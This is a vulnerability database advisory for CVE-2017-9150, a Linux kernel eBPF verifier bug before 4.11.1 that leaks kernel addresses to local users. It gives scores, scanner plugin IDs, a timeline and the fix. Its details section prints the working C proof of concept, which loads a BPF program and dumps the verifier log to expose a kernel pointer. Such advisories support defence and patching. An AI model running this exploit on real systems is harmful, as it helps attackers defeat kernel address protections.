Linux Kernel up to 4.11.0 eBPF Verifier Log kernel/bpf/verifier.c print_bpf_insn System Calls information disclosure

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
4.2	$0-$5k	0.00

Summaryinfo

A vulnerability marked as problematic has been reported in Linux Kernel up to 4.11.0. Impacted is the function print_bpf_insn of the file kernel/bpf/verifier.c of the component eBPF Verifier Log. This manipulation as part of System Calls causes information disclosure. This vulnerability appears as CVE-2017-9150. The attack requires local access. In addition, an exploit is available. It is suggested to upgrade the affected component.

Detailsinfo

A vulnerability has been found in Linux Kernel up to 4.11.0 (Operating System) and classified as problematic. Affected by this vulnerability is the function print_bpf_insn of the file kernel/bpf/verifier.c of the component eBPF Verifier Log. The manipulation as part of a System Calls leads to a information disclosure vulnerability. The CWE definition for the vulnerability is CWE-200. The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. As an impact it is known to affect confidentiality. The summary by CVE is:

The do_check function in kernel/bpf/verifier.c in the Linux kernel before 4.11.1 does not make the allow_ptr_leaks value available for restricting the output of the print_bpf_insn function, which allows local users to obtain sensitive address information via crafted bpf system calls.

The bug was discovered 05/05/2017. The weakness was presented 05/22/2017 (Website). It is possible to read the advisory at exploit-db.com. This vulnerability is known as CVE-2017-9150 since 05/22/2017. Attacking locally is a requirement. A single authentication is needed for exploitation. Technical details and also a public exploit are known. The attack technique deployed by this issue is T1592 according to MITRE ATT&CK.

A public exploit has been developed by Google Security Research in ANSI C and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 17 days. During that time the estimated underground price was around $0-$5k. The vulnerability scanner Nessus provides a plugin with the ID 100711 (openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)), which helps to determine the existence of the flaw in a target environment. It is assigned to the family SuSE Local Security Checks and running in the context l. The commercial vulnerability scanner Qualys is able to test this issue with plugin 196819 (Ubuntu Security Notification for Linux-meta-raspi2, Linux-raspi2 Vulnerabilities (USN-3325-1)). The code used by the exploit is:

int main(void) {
  union bpf_attr create_map_attrs = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = 4,
    .value_size = 1,
    .max_entries = 1
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");
 
  struct bpf_insn insns[] = {
    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  char verifier_log[10000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = ARRSIZE(insns),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"",
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  if (progfd == -1)
    err(1, "prog load");
 
  puts(verifier_log);
}

Upgrading to version 4.11.1 eliminates this vulnerability. A possible mitigation has been published 3 weeks after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at Exploit-DB (42048), Tenable (100711) and SecurityFocus (BID 98635†). See VDB-101269, VDB-101388, VDB-106244 and VDB-106245 for similar entries. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

Operating System

Vendor

Linux

Name

Kernel

Version

License

open-source

Website

Vendor: https://www.kernel.org/

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 4.4
VulDB Meta Temp Score: 4.2

VulDB Base Score: 3.3
VulDB Temp Score: 3.0
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 5.5
NVD Vector: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Information disclosure
CWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Physical: Partially
Local: Yes
Remote: No

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Google Security Research
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Nessus ID: 100711
Nessus Name: openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 850584
OpenVAS Name: SuSE Update for the openSUSE-SU-2017:1513-1 (the)
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Kernel 4.11.1
Patch: git.kernel.org

Timelineinfo

05/05/2017 🔍
05/22/2017 +17 days 🔍
05/22/2017 +0 days 🔍
05/22/2017 +0 days 🔍
05/22/2017 +0 days 🔍
05/22/2017 +0 days 🔍
05/22/2017 +0 days 🔍
05/23/2017 +1 days 🔍
06/08/2017 +16 days 🔍
06/09/2017 +1 days 🔍
12/21/2024 +2752 days 🔍

Sourcesinfo

Vendor: kernel.org

Advisory: 0d0e57697f162da4aa218b5feafe614fb666db07
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2017-9150 (🔍)
GCVE (CVE): GCVE-0-2017-9150
GCVE (VulDB): GCVE-100-101623
SecurityFocus: 98635 - Linux Kernel CVE-2017-9150 Local Information Disclosure Vulnerability
OSVDB: - CVE-2017-9150 - Linux - Information Disclosure Issue

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 05/23/2017 08:58
Updated: 12/21/2024 04:06
Changes: 05/23/2017 08:58 (90), 10/03/2020 22:13 (6), 12/07/2022 07:34 (5), 12/21/2024 04:06 (14)
Complete: 🔍
Cache ID: 216:011:103

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